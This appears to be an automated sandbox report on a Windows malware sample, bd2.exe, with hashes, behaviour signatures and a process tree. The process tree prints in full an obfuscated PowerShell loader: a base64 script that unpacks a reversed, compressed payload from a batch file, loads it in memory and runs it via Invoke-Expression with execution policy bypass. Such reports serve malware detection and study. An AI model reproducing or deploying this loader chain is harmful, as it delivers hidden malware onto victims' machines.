Overview
overview
10Static
static
3bd2.exe
windows7-x64
3bd2.exe
windows10-1703-x64
10bd2.exe
windows10-2004-x64
10bd2.exe
windows11-21h2-x64
10⠨/start.vbs
windows7-x64
⠨/start.vbs
windows10-1703-x64
⠨/start.vbs
windows10-2004-x64
⠨/start.vbs
windows11-21h2-x64
⠨/temp.bat
windows7-x64
⠨/temp.bat
windows10-1703-x64
⠨/temp.bat
windows10-2004-x64
⠨/temp.bat
windows11-21h2-x64
Analysis
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max time kernel
361s -
max time network
365s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
27-03-2024 22:54
Static task
static1
Behavioral task
behavioral1
Sample
bd2.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
bd2.exe
Resource
win10-20240319-en
Behavioral task
behavioral3
Sample
bd2.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral4
Sample
bd2.exe
Resource
win11-20240221-en
Behavioral task
behavioral5
Sample
⠨/start.vbs
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
⠨/start.vbs
Resource
win10-20240214-en
Behavioral task
behavioral7
Sample
⠨/start.vbs
Resource
win10v2004-20231215-en
Behavioral task
behavioral8
Sample
⠨/start.vbs
Resource
win11-20240221-en
Behavioral task
behavioral9
Sample
⠨/temp.bat
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
⠨/temp.bat
Resource
win10-20240221-en
Behavioral task
behavioral11
Sample
⠨/temp.bat
Resource
win10v2004-20240226-en
Behavioral task
behavioral12
Sample
⠨/temp.bat
Resource
win11-20240214-en
General
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Target
bd2.exe
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Size
271KB
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MD5
8b8db4eaa6f5368eb5f64359c6197b43
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SHA1
e9b51842e2d2f39fa06e466ae73af341ddffe1c8
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SHA256
55327bff1fa5fe9b81bbe47faa4c8e102fe2fc0b02148fe9677a4e44cc6d7a77
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SHA512
4da734da30af148f246f433b71c72677b9f78698424db15eba364233dff183cb998f9be13d2832872829ac545be1e15ff75ceb85fca3fd0784265fd576db0056
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SSDEEP
6144:xfL+oq+hnjsVl3dRQTLU+2bRRR17+fYHPfIMDPSBJ7Y/B4aSi3V:xfL5njsVlNuc++Rj17+fYHPfIg4Y54ap
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 2628 powershell.exe 2644 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2628 powershell.exe Token: SeDebugPrivilege 2644 powershell.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
bd2.exewscript.execmd.exedescription pid process target process PID 2936 wrote to memory of 2164 2936 bd2.exe wscript.exe PID 2936 wrote to memory of 2164 2936 bd2.exe wscript.exe PID 2936 wrote to memory of 2164 2936 bd2.exe wscript.exe PID 2936 wrote to memory of 2164 2936 bd2.exe wscript.exe PID 2164 wrote to memory of 2916 2164 wscript.exe cmd.exe PID 2164 wrote to memory of 2916 2164 wscript.exe cmd.exe PID 2164 wrote to memory of 2916 2164 wscript.exe cmd.exe PID 2164 wrote to memory of 2916 2164 wscript.exe cmd.exe PID 2916 wrote to memory of 2628 2916 cmd.exe powershell.exe PID 2916 wrote to memory of 2628 2916 cmd.exe powershell.exe PID 2916 wrote to memory of 2628 2916 cmd.exe powershell.exe PID 2916 wrote to memory of 2628 2916 cmd.exe powershell.exe PID 2916 wrote to memory of 2644 2916 cmd.exe powershell.exe PID 2916 wrote to memory of 2644 2916 cmd.exe powershell.exe PID 2916 wrote to memory of 2644 2916 cmd.exe powershell.exe PID 2916 wrote to memory of 2644 2916 cmd.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\bd2.exe"C:\Users\Admin\AppData\Local\Temp\bd2.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Windows\SysWOW64\wscript.exe"wscript.exe" "C:\Users\Admin\start.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\temp.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2628
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C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644
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